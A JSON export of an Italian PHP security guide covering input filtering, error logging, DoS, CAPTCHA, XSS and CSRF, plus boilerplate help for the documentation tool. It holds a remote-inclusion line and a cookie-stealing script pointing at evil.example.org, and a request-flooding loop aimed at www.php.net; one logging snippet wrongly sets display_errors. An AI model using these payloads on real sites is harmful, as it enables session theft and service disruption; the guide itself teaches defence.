{"version": "1.6","name": "PHP Best Practices","subline": "Sicurezza e ottimizzazione di PHP","username": "Fabio Politi","created": "05/30/2011","website": "http://icoa.it/","update": "06/25/2012","update_today": true,"email": "f.politi@icoa.it","intro": "This documentation was made only with the Documenter (except the images)","sections": [{"title": "Premessa","id": "premessa","content": "
\t
\n\tQuesta guida include degli esempi di codice PHP e delle direttive specifiche inerenti alla modalità di configurazione di PHP, Apache e MySql; tutti gli esempi e le direttive sono state testate con successo sul seguente ambiente lato Server, che verrà preso come l'ambiente di base da ora in poi:
\n\tDocumentRoot: /var/www
\n\tDefault OS server: Ubuntu Server 11.04 x64
\n\tDefault Web server: Apache 2.2.17
\n\tDefault MySql server: MySql 5.1.63
\n\tDefault PHP configuration file: /etc/php.ini
\n\tDefault PHP extensions config directory: /etc/php.d/
\t
\n\t
\n\t
\n\n<?php \n\n\nif (authenticated_user()) \n\n{ \n\n $authorized = true; \n\n} \n\n\nif ($authorized) \n\n{ \n\n include '/highly/sensitive/data.php'; \n\n} \n\n\n?>\n
\n\tPer register_globals la "best practice" è di inizializzare tutte le variabili e di sviluppare in un ambiente con una configurazione in cui la direttiva error_reporting è impostata a E_ALL, in maniera tale da far evidenziare direttamente al sistema eventuali variabili non inizializzate.
\n\n<?php\n\n\ninclude "$path/script.php";\n\n\n?>\n
\n<?php\n\n\ninclude 'http://evil.example.org/?/script.php';\n\n\n?>\n
\tCome ribadito precedentemente, il processo di filtraggio dei dati(data filtering) è il punto cardine della sicurezza di un'applicazione Web, e per la maggior parte è indipendente dal linguaggio di programmazione o dalla piattaforma che si sta utilizzando. Formalmente il data filtering si riferisce al meccanismo per il quale si determina la validità dei dati in entrata e in uscita(!) dall'applicazione, e sicuramente alcune scelte relative al design del progetto possono aiutare lo sviluppatore a:
\n\t
\n\nhttp://example.org/dispatch.php?task=print_form\n
\n<?php\n\n\n/* Global security measures */\n\n\nswitch ($_GET['task'])\n\n{\n\n case 'print_form':\n\n include '/inc/presentation/form.inc';\n\n break;\n\n\n case 'process_form':\n\n $form_valid = false;\n\n include '/inc/logic/process.inc';\n\n if ($form_valid)\n\n {\n\n include '/inc/presentation/end.inc';\n\n }\n\n else\n\n {\n\n include '/inc/presentation/form.inc';\n\n }\n\n break;\n\n\n default:\n\n include '/inc/presentation/index.inc';\n\n break;\n\n}\n\n\n?>\n
\n\tSe invece rinominiamo il file "dispatch.php" in "index.php" (in maniera tale da renderlo un file di tipo "Directory Index"), siamo in grado di utilizzare questo sistema tramite l'URL "http://example.org/?task=print_form", ottenendo il potenziale effetto di mascherare la tecnologia server-side (PHP) ad un potenziale link-sharing.
\n\n<?php\n\n\nswitch ($_POST['form'])\n\n{\n\n case 'login':\n\n $allowed = array();\n\n $allowed[] = 'form';\n\n $allowed[] = 'username';\n\n $allowed[] = 'password';\n\n\n $sent = array_keys($_POST);\n\n\n if ($allowed == $sent)\n\n {\n\n include '/inc/logic/process.inc';\n\n }\n\n\n break;\n\n}\n\n\n?>\n
\n<form action="/receive.php" method="POST">\n\n<input type="hidden" name="form" value="login" />\n\n<p>Username:\n\n<input type="text" name="username" /></p>\n\n<p>Password:\n\n<input type="password" name="password" /></p>\n\n<input type="submit" />\n\n</form>\n
\n\tUn modo semplice e sicuro per assicurarsi che il file "security.inc" venga sempre incluso all'inizio di ogni PHP script consiste nell'utilizzare la direttiva "auto_prepend_file".
\n\n<?php\n\n\n$clean = array();\n\n\n$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2}$/i';\n\n\nif (preg_match($email_pattern, $_POST['email'])) \n\n{ \n\n $clean['email'] = $_POST['email']; \n\n}\n\n\n?>\n
\n<?php\n\n\n$clean = array();\n\n\nswitch ($_POST['color'])\n\n{\n\n case 'red':\n\n case 'green':\n\n case 'blue':\n\n $clean['color'] = $_POST['color'];\n\n break;\n\n}\n\n\n?>\n
\n<?php\n\n\n$clean = array();\n\n\nif ($_POST['num'] == strval(intval($_POST['num'])))\n\n{\n\n $clean['num'] = $_POST['num'];\n\n}\n\n\n?>\n
\n<?php\n\n\n$clean = array();\n\n\nif ($_POST['num'] == strval(floatval($_POST['num'])))\n\n{\n\n $clean['num'] = $_POST['num'];\n\n}\n\n\n?>\n
\t
\n\n\tLa Best Practice per error_reporting consiste nell'impostare la direttiva sul valore E_ALL in un ambiente di sviluppo, in maniera tale da avere una reporistica dettagliata su qualsiasi genere di errore possa scaturire durante lo sviluppo del progetto, e di tenere l'ambiente di produzione sui valori come "E_ALL & ~E_NOTICE | E_STRICT", in modo da non sollevare le "NOTICE" e di "alleggerire" il compito (e quindi indirettamente le performance) del pre-processore PHP.
\n\n\tIn questa caso la Best Practice è molto semplice, anche se impone un minimo di organizzazione: la direttiva dovrebbe essere sempre impostata su 'On' nell'ambiente di sviluppo, in maniera tale da accorgersi subito di eventuali errori nel codice, ma dovrebbe essere sempre impostata su 'Off' nell'ambiente Server di produzione, in modo tale da nascondere errori troppo "dettagliati" agli Utenti (e potenziali hackers).
\n\n\tLa Best Practice per la direttiva "log_errors" è che sia impostata su "Off" nel file globale "php.ini", in modo da evitare che tutti gli scripts di tutti gli applicativi sul Server inducano un'ingente quantità di flussi I/O su un unico file di log (impostazione di default), ma che sia impostato su "On" secondo un'architettura "per-project"; infatti questa direttiva, utilizzata coerentemente con la direttiva "error_log" permette molto facilmente di instaurare un file di log solo per un unico progetto (o addirittura un unico script), ottenendo l'immediato vantaggio di avere informazioni di logs dettagliate e facilmente contestualizzabile ad un progetto, invece di avere centinaia di logs provenienti da vari script in un unico file.
\n\n<?php \n\n//override per-application reporting level \n\nini_set('error_reporting',E_ALL);\n\n//disable errors output\n\nini_set('display_errors','Off');\n\n//activate log_errors\n\nini_set('display_errors','On');\n\n//put the log file in a separate dir, per-project\n\nini_set('error_log','/var/php_logs/MyApp01/logs/php_error.log');\n\n?>\n
\n\tAttenzione: ovviamente è saggiamente consigliato di non riporre il file di log in un path(del server) che possa essere acceduto tramite Apache, evitando che si rendano indirettamente pubblici tutti i file di logs e le informazioni contenute in essi.
\n\n\tRibadiamo il concetto di come, dal PHP 5, queste direttive possono essere configurate in tempo reale tramite la primitiva ini_set, espandendo di molto le possibilità e le potenzialità nell'ambito della reportistica degli errori;
\n\n<?php \n\n//override per-application reporting level \n\nini_set('error_reporting',E_ALL);\n\n//disable errors output\n\nini_set('display_errors','Off');\n\n//activate log_errors\n\nini_set('display_errors','On');\n\n//generate a filename with the current date\n\n$log_file = date("Y-m-d"). ".log";\n\n//put the log file in a separate dir, per-project\n\nini_set('error_log','/var/php_logs/MyApp01/logs/' . $log_file);\n\n?>\n
\nhttp://www.php.net/manual/en/ref.errorfunc.php\n
\t
\n\n<form action="/process.php" method="POST">\n\n<select name="color">\n\n <option value="red">red</option>\n\n <option value="green">green</option>\n\n <option value="blue">blue</option>\n\n</select>\n\n<input type="submit" />\n\n</form>\n
\n<form action="http://example.org/process.php" method="POST">\n\n<input type="text" name="color" />\n\n<input type="submit" />\n\n</form>\n
\nPOST /process.php HTTP/1.1\n\nHost: example.org\n\nContent-Type: application/x-www-form-urlencoded\n\nContent-Length: 9\n\n\ncolor=red\n
\n$ telnet www.php.net 80\n\nTrying 64.246.30.37...\n\nConnected to rs1.php.net.\n\nEscape character is '^]'.\n\nGET / HTTP/1.1\n\nHost: www.php.net\n
\nHTTP/1.1 200 OK\n\nDate: Wed, 21 May 2004 12:34:56 GMT\n\nServer: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev\n\nX-Powered-By: PHP/4.3.3-dev\n\nLast-Modified: Wed, 21 May 2004 12:34:56 GMT\n\nContent-language: en\n\nSet-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net\n\nConnection: close\n\nTransfer-Encoding: chunked\n\nContent-Type: text/html;charset=ISO-8859-1\n
\n2083\n\n<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">\n\n...\n
\n<?php\n\n$http_response = '';\n\n$fp = fsockopen('www.php.net', 80);\nfputs($fp, "GET / HTTP/1.1\r\n");\nfputs($fp, "Host: www.php.net\r\n\r\n");\n\n\nwhile (!feof($fp))\n{\n $http_response .= fgets($fp, 128);\n}\n\nfclose($fp);\n\necho nl2br(htmlentities($http_response));\n\n?>\n
\n\tDa Wikipedia: Nella sicurezza informatica DoS è la sigla di denial of service, letteralmente negazione del servizio. Si tratta di un attacco informatico in cui si cerca di portare il funzionamento di un sistema informatico che fornisce un servizio, ad esempio un sito web, al limite delle prestazioni, lavorando su uno dei parametri d'ingresso, fino a renderlo non più in grado di erogare il servizio.
\n\n\tGli attacchi vengono abitualmente attuati inviando molti pacchetti di richieste, di solito ad un server Web, FTP o di posta elettronica saturandone le risorse e rendendo tale sistema "instabile", quindi qualsiasi sistema collegato ad Internet e che fornisca servizi di rete basati sul TCP è soggetto al rischio di attacchi DoS.
\n\n<?php\n\n$max = 99999999999999999999999999999;\n\nfor($i=0; $i<$max; $i++){\n\n$http_response = '';\n\n$fp = fsockopen('www.php.net', 80);\n\nfputs($fp, "GET / HTTP/1.1\r\n");\n\nfputs($fp, "Host: www.php.net\r\n\r\n");\n\nwhile (!feof($fp))\n{\n$http_response .= fgets($fp, 128);\n}\n\nfclose($fp);\n\n//wait some milliseconds before next submission\nusleep(50);\n}\n?>\n
\n<?php\n\n$secret = md5(uniqid(rand(), true));\n\n$_SESSION['secret'] = $secret;\n\n$_SESSION['secret_time'] = time();\n\n?>\n
\n<input type="hidden" name="secret" value="<? echo $secret; ?>" />\n
\n<?php\nif($_POST['secret'] == $_SESSION['secret']){\n//valid form submission\n...\n//now process the data\n}else{\n//form submission in invalid - do something, without processing anything(saving server resources)\n}\n
\n<?php\n$secret_age = time() - $_SESSION['secret_time'];\nif ($secret_age <= 300){\n /* Less than five minutes has passed. */\n}\n?>\n
\n\tAttenzione: è lecito sottolineare che abbiamo parlato di "riduzione" e NON di "eliminazione" - infatti i CAPTCHA, soprattutto quelli basati su lettere e numeri, possono essere aggirati tramite l'utilizzo di tecniche basate sull'OCR (Optical Character Recognition), cioè dei veri e propri scanner in grado di "simulare" la lettura da parte di un essere umano (ad es. http://jocr.sourceforge.net/).
\n\n<html>\n <body> <!-- the body tag is required or the CAPTCHA may not show on some browsers -->\n <!-- your HTML content -->\n <form method="post" action="verify.php">\n <?php\n require_once('recaptchalib.php');\n $publickey = "your_public_key"; // you got this from the signup page\n echo recaptcha_get_html($publickey);\n ?>\n <input type="submit" />\n </form>\n <!-- more of your HTML content -->\n </body>\n </html>\n
\n\tAttenzione: il valore della variabile $publickey dev'essere uguale alla stringa ottenuta tramite la registrazione al servizio (API Key)!
\n\n\tLa funzione require_once nell'esempio precedente si aspetta che il file "recaptchalib.php" sia fisicamente nella stessa directory del file del form. Se il file di libreria viene posizionato in un'altra directory, allora deve essere linkato propriamente. Ad esempio se nel tuo applicativo il file "recaptchalib.php" è situato nella cartella "captcha", la chiamata alla funzione dovrebbe modificarsi in require_once('captcha/recaptchalib.php')
\n\n <?php\n\n require_once('recaptchalib.php');\n\n $privatekey = "your_private_key";\n\n $resp = recaptcha_check_answer ($privatekey,\n\n $_SERVER["REMOTE_ADDR"],\n\n $_POST["recaptcha_challenge_field"],\n\n $_POST["recaptcha_response_field"]);\n\n\n if (!$resp->is_valid) {\n\n // What happens when the CAPTCHA was entered incorrectly\n\n die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." .\n\n "(reCAPTCHA said: " . $resp->error . ")");\n\n } else {\n\n // Your code here to handle a successful verification\n\n }\n\n ?>\n
\n<form>\n\n<input type="text" name="message"><br />\n\n<input type="submit">\n\n</form>\n\n\n<?php\n\nif (isset($_GET['message']))\n\n{\n\n $fp = fopen('./messages.txt', 'a');\n\n fwrite($fp, "{$_GET['message']}<br />");\n\n fclose($fp);\n\n}\n\nreadfile('./messages.txt');\n\n?>\n
\n<script>\n\ndocument.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie\n\n</script>\n
\n\tFiltra tutti i dati esterni
\n\n\tUtilizza funzioni esistenti
\n\n\tUtilizza un approccio "whitelist"
\n\n<form>\n<input type="text" name="message"><br />\n<input type="submit">\n</form>\n\n<?php\nif (isset($_GET['message']))\n{\n $message = htmlentities($_GET['message']);\n $fp = fopen('./messages.txt', 'a');\n fwrite($fp, "$message<br />");\n fclose($fp);\n}\nreadfile('./messages.txt');\n?>\n
\nGET / HTTP/1.1\nHost: example.org\nUser-Agent: Mozilla/5.0 Gecko\n\nAccept: text/xml, image/png, image/jpeg, image/gif, */*\n
\n<?php\n$request = '';\n$request .= "{$_SERVER['REQUEST_METHOD']} ";\n$request .= "{$_SERVER['REQUEST_URI']} ";\n$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";\n$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";\n$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";\n$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";\n?>\n
\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 57\n\n<html>\n<img src="http://example.org/image.png" />\n</html>\n
\nGET /image.png HTTP/1.1\nHost: example.org\nUser-Agent: Mozilla/5.0 Gecko\n\nAccept: text/xml, image/png, image/jpeg, image/gif, */*\n
\nhttp://stocks.example.org/buy.php?symbol=SCOX&quantity=1000\n\t
\n<p>Buy Stocks Instantly!</p>\n<form action="/buy.php">\n<p>Symbol: <input type="text" name="symbol" /></p>\n<p>Quantity:<input type="text" name="quantity" /></p>\n<input type="submit" />\n</form>\n\t
\nGET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1\nHost: stocks.example.org\nUser-Agent: Mozilla/5.0 Gecko\n\nAccept: text/xml, image/png, image/jpeg, image/gif, */*\n\nCookie: PHPSESSID=1234\n\t
\n\t\tUtilizza sempre POST
\n\t\n\t\tRichiedi e controlla sempre lo status di autenticazione degli Utenti
\n\t\n\t\tUtilizza un token ANTI-CSRF
\n\t\n<?php\n$token = md5(uniqid(rand(), TRUE));\n$_SESSION['token'] = $token;\n$_SESSION['token_timestamp'] = time();\n?>\n\n<form action="/post.php" method="POST">\n<input type="hidden" name="token" value="<?php echo $token; ?>" />\n<p>Subject: <input type="text" name="subject" /></p>\n<p>Message: <textarea name="message"></textarea></p>\n<p><input type="submit" value="Add Post" /></p>\n</form>\n\t
\n<?php\nsession_start();\n//set the max token age to 300ms (5 seconds)\ndefine('MAX_TOKEN_AGE',300);\n\nif (isset($_POST['message']))\n{\n\nif (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']){\n\n$token_age = time() - $_SESSION['token_timestamp'];\n\nif ($token_age <= 300)\n{\n/* Less than five minutes has passed. */\n$message = htmlentities($_POST['message']);\n//save the message\n...\n}else{\n //token age has expired\n}\n }\n}\n\n//rigenerate the token in every case\n$token = md5(uniqid(rand(), true));\n$_SESSION['token'] = $token;\n$_SESSION['token_timestamp'] = time();\n?>\n\n<form method="POST">\n<input type="hidden" name="token" value="<?php echo $token; ?>" />\n<input type="text" name="message"><br />\n<input type="submit">\n</form>\n
\t
\n"},{"title": "Autosave","id": "autosave","content": "\tYou can automatically save your work and restore it later if your browser crashes.
\n\t
\n\tYour saved doc will stay available one week after creation
\n"},{"title": "JSON Import/Export","id": "json_import_export","content": "\tWhen you have finished your documentation you can save your work wherever you like.
\n\t
\tJust copy all the contents of the box at the very bottom.
\n\tYou can import that string by pasting it into the import field or enter the URL to the JSON file
\n\t
\tClick outside the box and the Documenter will generate your documentation.
\n\t
\n"},{"title": "Save your Docs","id": "save_your_docs","content": "\tYou can save your documentations. You need a webserver which can handle php files.
\n\tEnter the URL of your script which handles the Advanced Options
\n\t
\tYou script must return the URL of the saves JSON file
\n\n\tYou can find an example script here
\n\n\tAfter you have built your documentation you can find a button at the "custom docs" section
\n\n\t
\n\t
\n"},{"title": "Advanced Options","id": "advanced_options","content": "\tThe Advance Options gives you a possiblity to send the documentation to your server. Furthermore it's used to save documentation.
\n\t
\tYou can enter URL to a script located on your server which recives the JSON or the zip file.
\n\tYou can enter a password in the third field which will get included so you can check it on your server.
\n\tIf you set a URL for the JSON these variables will get sent to the server:
\n\n$_POST = array(\n 'json' => THE_JSON_OF_YOUR_DOC\n 'pwd' => MD5_HASH_OF_YOUR_PASSWORD\n)\n\n
\tIf you set a URL for the ZIP file these variables will get sent to the server:
\n\n$_POST = array(\n 'name' => 'documentation.zip',\n 'pwd' => MD5_HASH_OF_YOUR_PASSWORD \n)\n$_FILES = array(\n 'file' => array(\n 'name' => 'documentation.zip',\n 'type' => 'application/octet-stream',\n 'tmp_name' => TEMP_FILE_NAME,\n 'error' => 0,\n 'size' => FILESIZE\n )\n)\n</pre>\n
\tYou can start with this script and modify it for your needs
\n"},{"title": "Changelog","id": "changelog","content": "\nAdded Favicon support\nbetter iOS 5 support\n
\nAdded Save functionality\nDrop Pastebin integration\nNew Look!\nBug fixes\n\n
\nSubmenu Support\nBug fixes\n\n
\nAutosave feature\nCustom CSS file\nCustom Classes\nBackground Image Support\nBrowser Back Button Support\nValidation for URLs and E-Mails\nRemoved the wrapper in the HTML Structure (use the body instead)\nSome optical improvements\nSome technical improvements\nBug fixes\n\n
\nsupport for iPhone, iPod Touch, iPad\ndeeplinking support\nNavigation gets a scrollbar if it gets out of view\nExternal links are no opening in a new window\nNo more empty fields in the documentation\nNew Field: Website\n4 new Themes\nBug fixes\n
\nThemeselecter\nEasy Easing\n“today” checkbox for last Update\nE-mail addresses are now encoded (simple spam protection)\nBug fixes\n
\t
\n"},{"title": "Source & Credits","id": "source_credits","content": "\tThanks so much to
\n\t
\n"},{"title": "Supporters","id": "supporters","content": "\tList of all the kind people who donated:
\n\t\t\tIf you wan't to get into this list please donate any amount
\n\t\tI spent a lot of time on this thing. Nevertheless it's still not finished. I like to improve it wherever I can and appreciate your feedback.
\n\tBest wishes
\n\tXaver Birsak, revaxarts.com
\n\n"}],"use_sub": true,"logo": "http://icoa.it/logo-glossy.png","favicon": "http://icoa.it/favicon.ico","customcss": "http://revaxarts-themes.com/documenter/_css/custom.css","easing": "easeOutExpo","easingduration": "450","bgimage": "http://static.revaxarts-themes.com/bg.png","bgrepeat": "repeat","bgattachment": "fixed","bgcolor": "F3F3F3","textcolor": "585858","linkcolor": "111111","hrcolor1": "E5E5E5","hrcolor2": "F9F9F9","sidebarbgimage": "http://static.revaxarts-themes.com/noise.gif","sidebarbgrepeat": "repeat-y","sidebarbgcolor": "333333","sidebartextcolor": "F1F1F1","sidebarlinkcolor": "F1F1F1","sidebaractivecolor": "111111","sidebaractivetextcolor": "F1F1F1","sidebarhrcolor1": "222222","sidebarhrcolor2": "444444","cufon": "http://revaxarts-themes.com/_js/font.js","itemURL": "","sendJSON": "","sendZIP": "","sendPWD": ""}